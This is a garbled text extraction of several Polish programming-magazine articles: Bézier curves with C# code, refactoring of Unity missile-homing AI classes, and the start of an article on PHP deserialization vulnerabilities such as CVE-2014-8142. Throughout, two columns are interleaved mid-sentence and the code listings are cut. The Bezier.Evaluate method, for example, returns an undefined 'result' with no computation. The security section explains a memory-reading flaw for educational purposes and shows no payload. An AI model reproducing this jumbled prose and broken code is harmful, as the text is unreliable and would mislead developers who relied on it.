CAD (np. Fusion 360, AutoCAD), edytorach filmów i animacji (Shot- dują się zawsze jedynki, zaś wartości pomiędzy nimi stanowią sumę
cut, Adobe Premiere), a nawet w pakietach biurowych (Microsoft Of- dwóch wartości znajdujących się bezpośrednio powyżej, w poprzed-
fice, LibreOffice). W dwóch słowach, jeżeli program poważnie pod- nim wierszu. Budowę Trójkąta Pascala możemy zobaczyć na Rysun-
chodzi do tematu i ma cokolwiek wspólnego z grafiką, z pewnością ku 1 (czerwone i niebieskie liczby obrazują sposób obliczania warto-
korzysta w pewnym momencie z krzywych Béziera. ści w kolejnych wierszach).
Przyzwyczaiłem się już trochę do tego, że większość sprytnych
matematycznych wynalazków jest dziełem, no cóż, matematyków
– teoretyków oraz pracowników akademickich. Tymczasem autora-
mi opisywanego rewolucyjnego odkrycia w zakresie konstruowania,
przechowywania i wyświetlania krzywych jest dwóch francuskich in-
żynierów z branży automotive: pracujący w przedsiębiorstwie Renault
Pierre Étienne Bézier oraz (niezależnie) pracownik Citroena, Paul de
Faget de Casteljau. Co ciekawe, prace dotyczące projektowania karo- Rysunek 1. Trójkąt Pascala
serii samochodów prowadzili oni równolegle, a swoją nazwę krzywe
Béziera zawdzięczają temu pierwszemu z nich tylko dlatego, że to Jeżeli teraz rozpiszemy trójkąt Pascala do odpowiedniej wysokości,
przedsiębiorstwo Renault jako pierwsze (pod koniec lat 60. XX wieku) możemy w łatwy sposób wyznaczyć dwumian Newtona dla wartości
zdecydowało się ujawnić wyniki prowadzonych tam prac. n i k: bierzemy po prostu n-ty wiersz (licząc od 0), a potem w ramach
tego wiersza k-tą wartość (również licząc od 0). I tyle!
APARAT MATEMATYCZNY
Wielomiany bazowe Bernsteina
Krzywe Béziera korzystają z wielomianów bazowych Bernsteina, zaś
do zrozumienia tych ostatnich będziemy musieli odświeżyć sobie Wielomiany bazowe Bernsteina zostały nazwane od nazwiska Siergieja
nieco wiedzę na temat symbolu Newtona. Nie jest tego wcale aż tak Bernsteina, który skonstruował je w 1912 roku w celu udowodnienia
dużo, więc miejmy szybko tę matematykę już za sobą. twierdzenia Weierstrassa o przybliżaniu funkcji ciągłych. W oryginale
służyły one do zbudowania wielomianu Bernsteina, ale nam przydadzą
się w nieco innym celu.
Symbol Newtona
Wielomian bazowy Bernsteina definiujemy dla wartości natural-
Symbolem Newtona nazywamy wartość wyznaczoną przy pomocy nych n oraz i takich, że 0 ≤ i ≤ n.
wzoru:
oraz
Wzór 1. Symbol Newtona Dla przykładu, kolejne wielomiany bazowe Bernsteina dla n=3 wy-
glądają następująco:
Silnia (zapis n!) jest funkcją, która rośnie przeraźliwie szybko – szyb-
ciej nawet od funkcji wykładniczej. Na przykład 2! = 2, 5! = 120, 10!
= 3628800, 13! nie mieści się już w zakresie typu uint, a 21! – w za-
kresie typu ulong (64-bitowa liczba bez znaku). Na szczęście jednak Kiedy popatrzymy na kolejne wielomiany, da się dostrzec pewną pra-
symbol Newtona zachowuje się nieco łagodniej i nie próbuje uciekać widłowość. Jest ona znacznie bardziej wyraźna, gdy narysujemy wy-
do nieskończoności w aż tak gwałtownym tempie. kresy tych funkcji dla zakresu x ϵ [0, 1]:
KRZYWE BÉZIERA Rozbijmy sumę, aby wzór stał się nieco bardziej czytelny:
{ WWW.PROGRAMISTAMAG.PL } <47>
ALGORYTMIKA
WŁASNOŚCI IMPLEMENTACJA
Choć stosunkowo nieskomplikowane, krzywe Béziera charakteryzu- Czy samodzielne zaimplementowanie krzywych Béziera jest trudne?
ją się całym szeregiem ciekawych własności. W żadnej mierze. Jeżeli nie przewidujemy zbyt dużych wahań w zakre-
Na początku, z uwagi na ich specyficzną konstrukcję – jako śred- sie stopnia krzywych, to dwumian Newtona możemy zaimplemento-
niej ważonej – warto zauważyć, że poza t = 0 oraz t = 1 każdy punkt wać przy pomocy trójkąta Pascala, a wtedy wielomiany bazowe Bern-
kontrolny wpływa na kształt całej krzywej. Wynika to z faktu, iż poza steina oraz sama krzywa Béziera pozostają już tylko formalnością.
wspomnianymi miejscami waga każdego z punktów kontrolnych jest
Listing 1. Implementacja krzywych Béziera w C#/.NET 6
niezerowa. Z drugiej zaś strony punkty t = 0 oraz t = 1 są kontrolo-
wane tylko i wyłącznie przez skrajne punkty kontrolne, co daje nam public static class Bezier
{
gwarancję, że krzywa w nich się rozpocznie i zakończy. private static List<int[]> pascal = new();
Patrząc na wykresy wielomianów bazowych Bernsteina, możemy private static int Newton(int n, int k)
wywnioskować też, że skonstruowana, końcowa krzywa powinna być {
if (n < 0)
gładka (bo stanowi sumę gładkich funkcji). Matematycznie oznacza throw new ArgumentOutOfRangeException(nameof(n));
to, że funkcja jest nieskończenie różniczkowalna, ale można tę wła- if (k < 0 || k > n)
throw new ArgumentOutOfRangeException(nameof(k));
sność wyjaśnić trochę bardziej przyziemnie – krzywa nie będzie mia-
while (pascal.Count <= n)
ła żadnych przerw ani też ostrych kantów. {
Każda krzywa Béziera jest zawsze zawarta wewnątrz wypukłej if (pascal.Count == 0)
pascal.Add(new int[] { 1 });
otoczki swoich punktów kontrolnych. Innymi słowy, jeżeli w prosto- else
kątnym obszarze znajdują się wszystkie punkty kontrolne krzywej, to {
var row = new int[pascal.Count + 1];
krzywa ta w całości zmieści się w tym obszarze. row[0] = row[^1] = 1;
for (int i = 1; i < row.Length - 1; i++)
Idąc dalej, krzywe Béziera są zawsze styczne w punktach t = 0
{
oraz t = 1 do odcinków zbudowanych ze skrajnych punktów kon- row[i] = pascal[pascal.Count - 1][i - 1] +
pascal[pascal.Count - 1][i];
trolnych (odpowiednio, pierwszego i drugiego oraz przedostatniego }
i ostatniego). Dzięki temu łączenie krzywych Béziera w bardziej zło-
pascal.Add(row);
żone krzywe jest bardzo łatwe, o ile tylko zadbamy o współliniowość }
}
odcinka tworzonego przez dwa ostatnie punkty pierwszej krzywej
i dwa pierwsze drugiej. return pascal[n][k];
}
Pomimo wielkiej elastyczności w zakresie konstruowanych kształ-
private static float Bernstein(int i, int n, float t)
tów krzywe Béziera budowane są z wielomianów, co oznacza, że przy {
ich pomocy nie jest możliwe modelowanie krzywych eliptycznych, if (n < 1)
throw new ArgumentOutOfRangeException(nameof(n));
czyli na przykład okręgów, elips, hiperbol i tak dalej. Warto jednak if (i < 0 || i > n)
mieć na uwadze, że krzywe Béziera wykorzystywane są zwykle do throw new ArgumentOutOfRangeException(nameof(i));
if (t < 0 || t > 1)
wszelkiego rodzaju wizualizacji, co oznacza, że zwykle muszą one throw new ArgumentOutOfRangeException(nameof(t));
aproksymować jakiś kształt tylko na tyle dobrze, żeby nie dało się return (float)(Newton(n, i)
dostrzec różnicy gołym okiem. Dla przykładu, na Rysunku 4 przed- * Math.Pow(t, i)
* Math.Pow(1 - t, n - i));
stawiony jest okrąg oraz aproksymujące go cztery sklejone krzywe }
Béziera 3. stopnia (w sumie 12 punktów kontrolnych). Spróbujcie public static Vector2 Evaluate(Vector2[] points, float t)
ocenić, który jest który. {
if (points.Length < 2)
throw new ArgumentOutOfRangeException(nameof(points));
if (t < 0 || t > 1)
throw new ArgumentOutOfRangeException(nameof(t));
return result;
}
}
{ WWW.PROGRAMISTAMAG.PL } <49>
ALGORYTMIKA
Rysunek 5. Efekt działania programu z Listingu 1 Wzór 10. Długość krzywej parametrycznej
{ WWW.PROGRAMISTAMAG.PL } <51>
ALGORYTMIKA
t ręcznie. Co – dodajmy – nie jest wcale najłatwiejszym zadaniem, Konstruujemy teraz trzy odcinki łączące kolejne punkty kontrolne,
w dużej mierze z powodu nawarstwiających się błędów numerycz- a następnie wyznaczamy na nich punkty stanowiące podział tych od-
nych (Rysunek 7). cinków w miejscu wyznaczonym parametrem t (czyli jeśli t = 0, będzie
to punkt początkowy odcinka, dla t =1 – punkt końcowy, t = 0,5 ozna-
Listing 5. Równomierne rozmieszczenie markerów na krzywej (fragment metody)
cza środek odcinka itp.).
int markerCount = 20; Tym sposobem otrzymamy trzy nowe punkty: nazwijmy je q1, q2
(float length, int divisions) = BezierMath.EvalLength(
Bezier.Evaluate, points, 0.1f); oraz q3. Powtarzamy teraz cały proces, budując dwa odcinki pomię-
float[] fromStart = new float[divisions]; dzy tymi punktami, a następnie dzieląc je znów w miejscu wyznaczo-
float sum = 0.0f; nym przez parametr t; teraz otrzymaliśmy dwa punkty: r1 oraz r2. Na
for (int i = 0; i < divisions; i++)
{ koniec dzielimy ostatni odcinek, otrzymując punkt s1, równoważny
var t1 = (float)i / divisions; szukanemu punktowi na krzywej dla zadanego parametru t.
var t2 = (float)(i + 1) / divisions;
Na Rysunku 8 przedstawiono symbolicznie realizację algorytmu
var p1 = Bezier.Evaluate(points, t1);
var p2 = Bezier.Evaluate(points, t2); de Casteljeau dla wartości t = 0,25.
sum += (p2 - p1).Length();
fromStart[i] = sum;
}
{ WWW.PROGRAMISTAMAG.PL } <53>
ALGORYTMIKA
Vector2 p;
if (i == 0)
NA KONIEC
result.Append("M ");
p = current.point +
current.span * icon.RoundingEdgeFactor;
result.Append(FormattableString.Invariant( W świetle faktu, iż większość szanujących się bibliotek graficznych
$"{p.X},{icon.Height - p.Y} ")); pozwala na renderowanie krzywych Béziera, zasadnym jest zadać so-
if (i > 0) bie pytanie, czy implementowanie ich od zera ma jakikolwiek sens.
result.Append("L ");
Odpowiedzią jest bodaj najbardziej uniwersalne stwierdzenie
p = current.point +
w świecie IT: to zależy. Jeśli chcemy tylko renderować krzywe otwarte
current.span * (1.0f - icon.RoundingEdgeFactor);
result.Append(FormattableString.Invariant( lub zamknięte, prawdopodobnie nie ma większego sensu zaprzątać
$"{p.X},{icon.Height - p.Y} "));
sobie głowy implementowaniem wszystkiego od początku. Czasa-
result.Append("C "); mi jednak krzywych Béziera możemy chcieć użyć do innych celów
p = current.point + niż tylko rysowanie rastrowych obrazów: w takim przypadku warto
current.span * (1.0f -
icon.RoundingControlPointFactor); przyswoić sobie nieco matematycznych podstaw i wykorzystać ten
result.Append(FormattableString.Invariant( wszechstronny matematyczny konstrukt, by znacząco ułatwić sobie
$"{p.X},{icon.Height - p.Y} "));
pracę. Otwartą opcją pozostaje również skorzystanie z gotowych me-
p = next.point +
next.span * icon.RoundingControlPointFactor; chanizmów – jak format SVG i język opisu wektorowych kształtów
result.Append(FormattableString.Invariant( – by zrealizować najtrudniejszą część operacji przy pomocy napisa-
$"{p.X},{icon.Height - p.Y} "));
} nego przez siebie programu, a resztę pracy wykonać w dedykowanej,
przeznaczonej do tego aplikacji.
WOJCIECH SURA
wojciechsura@gmail.com
Programuje 30 lat, z czego 15 komercyjnie; ma na koncie aplikacje desktopowe, webowe, mobilne i wbudowane – pisane w C#,
C++, Javie, Delphi, PHP, JavaScript i w jeszcze kilku innych językach. Obecnie pracuje w SII – największym w Polsce dostawcy
usług doradztwa technologicznego, transformacji cyfrowej, Business Process Outsourcing i inżynierii.
PROBLEM testy (choć nie jest to też reguła, wiele prywatnych projektów – szcze-
gólnie gdy dotyczą one przetwarzania danych – mam dosyć solidnie
Pierwszy i bodaj największy problem odkryłem, gdy rozejrzałem się po przetestowanych). Inną sprawą jest też fakt, iż te konkretne klasy, nad
katalogu, w którym znajdowała się klasa ChaserNavigationAi. Zna- którymi będziemy zaraz pracować, bez dodatkowych refaktoryzacji
lazłem tam bowiem dosyć szybko drugą klasę, CollisionCourse- całej architektury, znacznie łatwiej jest przetestować funkcjonalnie
NavigationAi, która w dobrych 60-70% zbudowana była w dokład- niż jednostkowo, o czym zaraz się przekonamy. I wreszcie na koniec
nie taki sam sposób, jak ta pierwsza. Oprócz nich znalazłem jeszcze zależy mi teraz najbardziej na przedstawieniu samego procesu refak-
jednego kandydata, klasę DumbfireNavigationAi, która wprawdzie toryzacji oraz towarzyszącego mu procesu myślowego.
implementacyjnie różniła się od dwóch pozostałych, ale należała do Dodam jeszcze, że choć testy jednostkowe są świetnym narzę-
tej samej grupy algorytmów, co jednak w żaden sposób nie wynikało dziem, dzięki któremu łatwiej utrzymać jest wysoką jakość kodu, cza-
z jej kodu. sami może zdarzyć się, że po prostu nie da się ich zastosować. Mimo
Sama klasa ChaserNavigationAi też pozostawia trochę do życze- wszystko pisany kod musi w pewnym stopniu umożliwiać jednostkowe
nia. Przede wszystkim mamy tu do czynienia z oczywistą maszyną stanu, testowanie. Jeżeli na przykład występują w nim takie konstrukcje, jak
zaimplementowaną jednak przy pomocy mało estetycznej ifologii. Me- singletony, silne powiązanie typów, wykorzystywane są też często klasy
toda FixedUpdate jest też długa, co zmniejsza jej czytelność (jej nazwa i metody statyczne, to napisanie testów, które będą naprawdę jednost-
wynika z wymagań Unity). Nie wspominając już o tym, że nie ma mowy kowe (a czasami również testów jako takich), graniczy z cudem.
o jakiejkolwiek reużywalności kodu wchodzącego w skład tej klasy. Podsumowując, jeżeli tylko napisanie testów jednostkowych
Jak więc widać, jest tu trochę do posprzątania. Zobaczmy teraz przed wprowadzeniem zmian do kodu jest możliwe, bezdyskusyjnie
krok po kroku, w jaki sposób można zrefaktoryzować tę klasę i klasy powinniśmy to zrobić. Czasami jednak tak nie jest – nie jest to sytu-
{ WWW.PROGRAMISTAMAG.PL } <57>
INŻYNIERIA OPROGRAMOWANIA
NO WIĘC… LOGIKA więc ewentualne dodawanie kolejnych stanów będzie wymagało modyfi-
kacji i tak już długiej metody. Żeby trochę zwiększyć czytelność kodu, na
Istnieją dwa podstawowe sposoby zdobywania wymagań bizneso- początku przenieśmy przynajmniej implementację stanów do osobnych
wych. Pierwszy z nich polega na pozyskaniu dokumentacji projekto- metod. Szczęśliwie obie z nich nie korzystają z żadnych zmiennych lokal-
wej – czy to w formie papierowej, elektronicznej czy choćby poprzez nych, więc możemy je po prostu przenieść jeden do jednego.
rozmowę z osobą odpowiedzialną za wymagania danego fragmentu
Listing 2. Ekstrakcja metod z metody FixedUpdate
aplikacji. Drugim sposobem jest wykonanie analizy wstecznej, czyli
próba odzyskania logiki biznesowej z samego kodu – przy odrobi- private void HandleSeeking()
{
nie szczęścia powinny wystarczyć nam nazwy klas i metod, a czasem // (...)
nawet litościwie pozostawione przez poprzednich programistów }
komentarze. Jeśli natomiast nie jest to możliwe, to pozostaje zawsze private void HandleHoming()
{
mozolne przeglądanie algorytmów i struktur danych, aby odtworzyć // (...)
wiedzę na temat ich przeznaczenia oraz wzajemnych powiązań. }
nów przekazać – w przeciwnym wypadku nie będą one w stanie pra- // Fly forward
var decision = NavigationAlgorithms
widłowo funkcjonować. Pola mobile, mobilityParameters, z których .ForwardAcceleration(
korzysta logika stanów, możemy natomiast pozostawić prywatne, bo navigationAi.mobilityParameters);
{ WWW.PROGRAMISTAMAG.PL } <59>
INŻYNIERIA OPROGRAMOWANIA
ciedlała prawdziwych zależności pomiędzy nimi, a to już stanowi Najpierw więc wprowadzamy interfejs IStateDataProvider, któ-
problem. ry zawierać będzie wszystkie składowe potrzebne stanom do prawi-
Możemy do sprawy podejść trochę inaczej, wyciągając z Chaser- dłowej pracy.
NavigationAi klasę bazową – powiedzmy BaseNavigationAi – a na-
Listing 4. Interfejs IStateDataProvider
stępnie umieszczając współdzielone klasy stanów w tej właśnie klasie
bazowej. public interface IStateDataProvider
{
Jest to kuszące rozwiązanie. Jestem dużym miłośnikiem ścisłego RadarGuidanceParameters RadarGuidanceParameters { get; }
ograniczania widoczności składowych klasy, tak aby były dostępne Mobile Mobile { get; }
MobilityParameters MobilityParameters { get; }
tylko i wyłącznie tym fragmentom kodu, które ich naprawdę potrze- ObjectNavigator ObjectNavigator { get; }
Launchable Launchable { get; }
bują. Stany naszej maszyny stanu są jej wewnętrznymi mechanizma- Transform Transform { get; }
mi, a prawdopodobieństwo, że będziemy chcieli ich użyć gdzieś poza }
tą klasą, jest śladowe.
Istnieje jednak dosyć duży minus. Klasy CollisionCourseNavi- Modyfikujemy bazową klasę stanu. Od teraz zamiast konkretnej in-
gationAi i ChaserNavigationAi wprowadzą na pewno swoje dodat- stancji nawigatora, przyjmować ona będzie skonstruowany przed
kowe stany, które będą realizowały naprowadzanie rakiety w specyficz- chwilą interfejs.
ny dla nich sposób. A co jeśli stanów tych chciałbym użyć w jakiejś
Listing 5. Bazowa klasa dla stanu
nowej implementacji, która na przykład przełącza algorytmy, dobie-
rając w danym momencie najbardziej skuteczny? public abstract class BaseState
{
Mówimy o sytuacji, do implementacji której potrzebowalibyśmy public abstract void UpdateFixed(
wielodziedziczenia klas, co w C# oznacza, że po drodze podjęliśmy IStateDataProvider dataProvider);
}
błędną decyzję architekturalną. I faktycznie: całego zamieszania
możemy uniknąć, jeśli tylko klasy stanów wyciągniemy całkiem na Zmiany musimy wprowadzić oczywiście również w implementacjach
zewnątrz, jako odrębne typy. Pozwoli to na bardzo swobodne współ- konkretnych stanów.
dzielenie wszystkich stanów przez zainteresowane nimi klasy. Ceną
Listing 6. Stan poszukiwania celu (fragmenty)
za taki stan rzeczy będzie nieco większa, niż moglibyśmy sobie tego
życzyć, dostępność klas stanów. Alternatywa jest jednak znacznie public class RadarSeekingState : BaseState
{
gorsza, więc cena taka jest w zupełności akceptowalna. private const int SeekFrameSkip = 10;
Jeden problem z głowy. Ale teraz musimy zmierzyć się z drugim. public int PulseCounter { get; private set; }
public RadarSeekingState()
{
Dostęp do pól PulseCounter = 0;
}
Napisane przez nas stany bez większego skrępowania sięgają do pry-
public override void UpdateFixed(
watnych pól klasy ChaserNavigationAi, by zrealizować funkcjonal- IStateDataProvider dataProvider)
{
ność naprowadzania. Jeżeli jednak przestaną być klasami wewnętrz- // (...)
nymi, stracą dostęp do tych pól, które są im przecież potrzebne. if (target != null)
{
Realnie wchodzą tu w grę dwa rozwiązania. dataProvider.state =
Pierwszym z nich jest opakowanie wszystkich potrzebnych sta- new ChaserHomingState(target);
return;
nom danych w osobną klasę (zwykle nazywam ją kontekstem – np. }
StateContext) i przekazanie jej podczas wywołania metody Up- // (...)
}
dateFixed. Nie jest to rozwiązanie złe, ale sprawia, że pojawia się
public void IncrementPulseCounter()
kolejna klasa, którą musimy się opiekować, a która tak naprawdę wy- {
cina tylko fragment klasy ChaserNavigationAi. PulseCounter = (PulseCounter + 1) % SeekFrameSkip;
}
Dlatego też lepiej jest rozwiązać problem nieco inaczej. Skoro kla- }
sy stanów potrzebują pewnego wycinka klasy ChaserNavigationAi,
udostępnijmy im ten wycinek przez interfejs. Możemy wtedy bez- Już prawie! Mamy jeszcze tylko jeden problem do rozwiązania.
piecznie przekazać klasę dowolnego nawigatora stanom, o ile tylko Przyjrzyjmy się widocznemu w Listingu 6 fragmentowi kodu me-
udostępnia on odpowiednie dane. Jest to też eleganckie rozwiązanie tody UpdateFixed. Widzimy tu, jak ustawia ona nowy stan… tylko
z perspektywy enkapsulacji; z jednej strony nie ma wad manualnego że nie może już tego zrobić, bo przecież straciła dostęp do prywat-
przenoszenia danych pomiędzy klasami, ale z drugiej – ogranicza do- nych pól klasy nawigatora. Oczywiście możemy dodać do interfej-
stęp tylko do tych składowych nawigatora, do których stany powinny su IStateDataProvider kolejną własność pozwalającą na zmianę
mieć dostęp. stanu, ale rozwiązanie takie uważam za nieeleganckie. Bieżący stan
Pociągniemy ten pomysł jeszcze dalej, ale na razie zatrzymajmy maszyny stanu stanowi jej wewnętrzną infrastrukturę i nikt nie po-
się na chwilę i zrealizujmy wszystkie pomysły, które pojawiły się do winien jej beztrosko modyfikować. Dlatego też rozwiążemy problem
tej pory, żeby ich ilość nas nie przytłoczyła (a projekt zmieniał się w nieco inny sposób: metoda UpdateFixed będzie zwracała instancję
stopniowo). stanu, na który chcemy się przełączyć.
Listing 7. Zmieniona implementacja bazowej klasy stanu Listing 10. Implementacja w klasie ChaserNavigationAi
{ WWW.PROGRAMISTAMAG.PL } <61>
INŻYNIERIA OPROGRAMOWANIA
zowej. Oszczędzi nam to dużo czasu w przyszłości, ale też sprawi, że Wprowadzona zmiana pociąga ważną konsekwencję: stan korzy-
unikniemy niepotrzebnego duplikowania kodu. stający z danego typu dostawcy danych (czyli interfejsu dziedziczące-
Wprowadźmy zatem nową, bazową klasę dla wszystkich nawiga- go po IStateDataProvider) może zwrócić jako następcę tylko taki
torów, która udostępniać będzie zawsze obowiązkowe komponenty. stan, który również korzysta z tego interfejsu. Na przykład stan, który
Klasy pochodne nie będą musiały się już tego robić, choć w razie po- przyjmuje IRadarStateDataProvider, musi zwrócić jako następcę
trzeby zawsze pozostanie opcja dostarczenia bardziej specyficznych stan, który również pracuje z IRadarStateDataProvider. Jest to
informacji (w naszym przypadku może to być na przykład kompo- ograniczenie, które musimy mieć na uwadze, ale na tym etapie trud-
nent RadarGuidanceParameters). no będzie się go pozbyć.
Podczas realizacji tego kroku refaktoryzacji osiągniemy jeszcze Teraz możemy jednak bezpiecznie wyciągnąć z ChaserNaviga-
jeden cel: pozwolimy na parametryzowanie sposobu poszukiwania tionAi klasę bazową i przenieść tam całą funkcjonalność, która bę-
celów. Do tej pory musieliśmy robić to zawsze przy pomocy radaru; dzie się powtarzać w innych klasach nawigatorów.
od teraz jednak również i ten element procesu naprowadzania będzie
Listing 16. Klasa BaseNavigationAi
można wymieniać.
Zabierzmy się więc do roboty. [RequireComponent(typeof(Mobile))]
[RequireComponent(typeof(MobilityParameters))]
Przede wszystkim musimy rozbić interfejs dostarczający stanom [RequireComponent(typeof(ObjectNavigator))]
dane na dwa: uogólniony i ten, który zawiera dane specyficzne do na- [RequireComponent(typeof(Launchable))]
public abstract class BaseNavigationAi
mierzania celów radarem. <TDerivedNavigationAi, TStateDataProvider> :
MonoBehaviour,
Listing 12. Interfejs IStateDataProvider IStateDataProvider
where TStateDataProvider : IStateDataProvider
public interface IStateDataProvider where TDerivedNavigationAi :
{ BaseNavigationAi
Mobile Mobile { get; } <TDerivedNavigationAi, TStateDataProvider>,
MobilityParameters MobilityParameters { get; } TStateDataProvider
ObjectNavigator ObjectNavigator { get; } {
Launchable Launchable { get; } private Mobile mobile;
Transform Transform { get; } private MobilityParameters mobilityParameters;
} private ObjectNavigator objectNavigator;
private Launchable launchable;
Listing 13. Interfejs IRadarStateDataProvider protected BaseState<TStateDataProvider> state;
Nie możemy pozostawić tego w ten sposób, bo przecież nasze obecne public virtual void Awake()
{
stany muszą korzystać z IRadarStateDataProvider. Skoro jednak mobile = GetComponent<Mobile>();
pojawiła się więcej niż jedna opcja dla dostawcy danych, to aby unik- mobilityParameters =
GetComponent<MobilityParameters>();
nąć rzutowania typów, będziemy musieli zmienić bazową klasę stanu objectNavigator = GetComponent<ObjectNavigator>();
na generyczną. Odpowiednie zmiany musimy wprowadzić również launchable = GetComponent<Launchable>();
}
w klasach poszczególnych stanów.
public virtual void FixedUpdate()
Listing 14. Modyfikacje wprowadzone do klasy BaseState {
state = state.UpdateFixed((TDerivedNavigationAi)this);
}
public abstract class BaseState<TStateDataProvider>
}
where TStateDataProvider : IStateDataProvider
{
public abstract BaseState<TStateDataProvider>
UpdateFixed(TStateDataProvider dataProvider);
}
DETALE
Listing 15. Klasa RadarSeekingState (fragmenty)
Po przebrnięciu przez trudniejszą część refaktoryzacji warto również
public class RadarSeekingState : zadbać o detale. W projekcie pojawiło się kilka nowych klas – pamię-
BaseState<IRadarStateDataProvider>
{ tajmy, aby każda z nich znalazła się w pliku o tej samej nazwie (przy-
// (...) łóżmy szczególną uwagę do tych klas, którym zmieniliśmy nazwy).
public override BaseState<IRadarStateDataProvider> W moim projekcie klasy ChaserNavigationAi, CollisionCourse-
UpdateFixed(IRadarStateDataProvider dataProvider)
{ NavigationAi oraz DumbfireNavigationAi znajdowały się w jednym
// (...) wielkim katalogu Assets\Scripts\Features. Skoro jednak wyodrębnili-
}
śmy zbiór klas, które realizują podobną funkcjonalność, dobrze jest przy
// (...)
} okazji przenieść je do wspólnego katalogu – w moim przypadku jest to
Assets\Scripts\Features\Homing. Reużywalne stany wylądowały jeszcze To wszystko! Klasa, która pierwotnie zajmowała przeszło 150 linijek
głębiej, w Assets\Scripts\Features\Homing\States. kodu, zmieściła się teraz zaledwie w 17 (Listing 17 jest dodatkowo
Taka korekta może wydawać się nadmiarowa, ale jednak zauwa- połamany, aby zmieścił się w szpalcie).
żyłem, że wśród programistów istnieje grono takich (włączając w to Oczywiście mam pełną świadomość, że kod, który znajdował się
mnie), którzy preferują manualne nawigowanie po strukturze pro- pierwotnie w tej klasie, został rozparcelowany po kilku innych, które
jektu nad korzystanie z narzędzi do wyszukiwania. Mój tok rozumo- stworzyliśmy w międzyczasie. Ale nie chodzi tu o liczbę wierszy kodu,
wania jest następujący: skoro w ramach projektu mamy możliwość tylko o poziom skomplikowania i łatwość rozwoju. Pamiętacie bowiem
organizowania plików w katalogi, zawsze warto skorzystać z tej moż- CollisionCourseNavigationAi? Pierwotnie ona również zajmowała
liwości, aby projekt stał się bardziej czytelny. 150 linijek kodu, a teraz można ją skurczyć do takiego samego rozmia-
ru, jak ChaserNavigationAi. Ale to jeszcze nic. Kod wspomnianej
/* REKLAMA */
{ WWW.PROGRAMISTAMAG.PL } <63>
INŻYNIERIA OPROGRAMOWANIA
Podstawowa funkcjonalność maszyny stanu została wyciągnięta i kontrawariancji, ale okazało się, że w tym przypadku nie jest to
do klasy bazowej, dzięki czemu podczas implementacji nowego na- możliwe. Gdyby jednak było, otrzymalibyśmy wtedy znacznie prost-
wigatora możemy skupić się na oprogramowaniu algorytmu napro- szy, ale wciąż funkcjonalny kod.
wadzającego lub szukającego celów oraz ich interakcji; ilość kodu- Po trzecie, dobrze przeprowadzonej refaktoryzacji muszą towa-
-kleju, który musimy napisać, aby nowa implementacja mogła zostać rzyszyć nieustanne pytania o przyszłość. W jaki sposób ta klasa bę-
użyta, została doprowadzona do minimum. dzie używana? Jak będzie rozwijana? Co można zrobić, aby procesy
Wreszcie dzięki zastosowaniu klas generycznych oraz wprowadze- te uprościć w przyszłości? Jakie mechanizmy zastosować, aby kod
niu interfejsu-dostawcy danych dla stanów otworzyliśmy też możli- korzystający z tej klasy mógł być krótszy, bardziej zwięzły i czytel-
wość wprowadzenia nowego systemu wyszukiwania celów: w poprzed- ny? I tak dalej, w kółko, aż dotrzemy do miejsca, w którym możemy
niej implementacji mechanizm ten był napisany na sztywno. uczciwie powiedzieć: „teraz nic więcej nie da się już zrobić”, oczywi-
Chyba było warto, prawda? ście w rozsądnych granicach.
Po czwarte, niezależnie od tego, jak bardzo zagmatwany jest
WOJCIECH SURA
wojciechsura@gmail.com
Programuje 30 lat, z czego 15 komercyjnie; ma na koncie aplikacje desktopowe, webowe, mobilne i wbudowane – pisane w C#,
C++, Javie, Delphi, PHP, JavaScript i w jeszcze kilku innych językach. Obecnie pracuje w SII – największym w Polsce dostawcy
usług doradztwa technologicznego, transformacji cyfrowej, Business Process Outsourcing i inżynierii.
Otóż... nie!
Deserializacja w PHP
Na niektóre błędy bezpieczeństwa natrafimy we frameworkach dostarczonych do danego języ-
ka. Innym razem podatności można znaleźć w samej aplikacji. Zdarza się również, że błąd znaj-
duje się w implementacji interpretera języka. Dziś przyjrzymy się właśnie takiemu przypadkowi.
PHP jest najpopularniejszym językiem używanym do programowa- nizm ten pomaga nadpisać domyślne zachowanie serializacji. Jed-
nia stron Internetowych. Trudno się temu dziwić, gdy przypomnimy nakże warto wziąć pod uwagę, że jeżeli zrobimy to niepoprawnie, po
sobie, że Wordpress, najpopularniejszy na świecie CMS (content ma- deserializacji obiekt może być inny niż oryginalny. Prosty przykład
nagement system, pl. system zarządzania treścią), jest zaimplemen- wykorzystania funkcji __serialize()/__unserialize() został po-
towany właśnie w tym języku. Innym przykładem potężnej platfor- kazany w Listingu 1. Definiujemy w nim klasę User, a w niej dwie
my wykorzystującej PHP jest Facebook. Szacuje się, że ponad 70% zmienne login i age. Natomiast w funkcji __serialize ogranicza-
wszystkich stron w Internecie opartych jest na PHPie1. Jednakże my eksportowane zmienne tylko do login. Następnie wykonujemy
pomimo swojej popularności PHP początkowo nie grzeszył mocny- serializację i deserializację na zadanym obiekcie. W wyniku możemy
mi podstawami bezpieczeństwa. W języku tym można było znaleźć zauważyć, że zmienna age nie została ustawiona.
wiele nieścisłości, a poprawne i bezbłędne wykorzystanie bibliote- Różnice pomiędzy __serialize()/__unserialize() i __sleep()/__
ki standardowej było trudne. Sam silnik języka PHP jest napisany wakeup() wykraczają poza ramy tego artykułu, warto jednak zwrócić
w większości w języku C. Ze względu na prostotę składni PHP zy- uwagę, że wynik Listingu 1 pochodzi z wersji PHP 7.4.9 (wynik i za-
skał bardzo dużą popularność, natomiast kwestiami bezpieczeństwa chowanie może być różne w zależności od wersji PHP, na przykład PHP
zajęto się znacznie później. Dziś pod tym względem jest na szczęście 7.0.14 nie wywoła funkcji __serialize(), a jedynie __sleep()).
dużo lepiej, chodź wciąż nie wszystko udało się poprawić. Zanim
Listing 1. Przykład serializacji/deserializacji obiektu w PHP oraz definicji
przyjrzyjmy się analizie błędu, musimy zrozumieć, czym jest seriali- funkcji __serialize
zacja danych w PHP.
<?php
class User {
SERIALIZACJA DANYCH
public $login;
public $age;
PROBLEM Z REFERENCJĄ DO OBIEKTU zmienić zaślepkę replaceme na firstelem. Ostatnim krokiem jest
deserializacja tekstowego zapisu. W komentarzu na końcu możemy
Jedną z klasycznych podatności w deserializacji obiektów w tym języ- znaleźć wynik wywołania. Okazuje się, że udało nam się odczytać
ku jest CVE-2014-8142 zgłoszony przez Stefana Essera, doświadczo- fragment z pamięci interpretera PHP.
nego programisty PHP, a także badacza bezpieczeństwa. Analiza obiektu po serializacji i modyfikacji została pokazana na
Dostrzegł on, że w serializowanym obiekcie klucz może wystą- Rysunku 6. W momencie rozpakowywania serializowanego obiektu
pić więcej niż jeden raz. W takiej sytuacji PHP zwalnia obiekt, któ- oryginalna tablica firstelem zostaje zwolniona, a wraz z nią napis
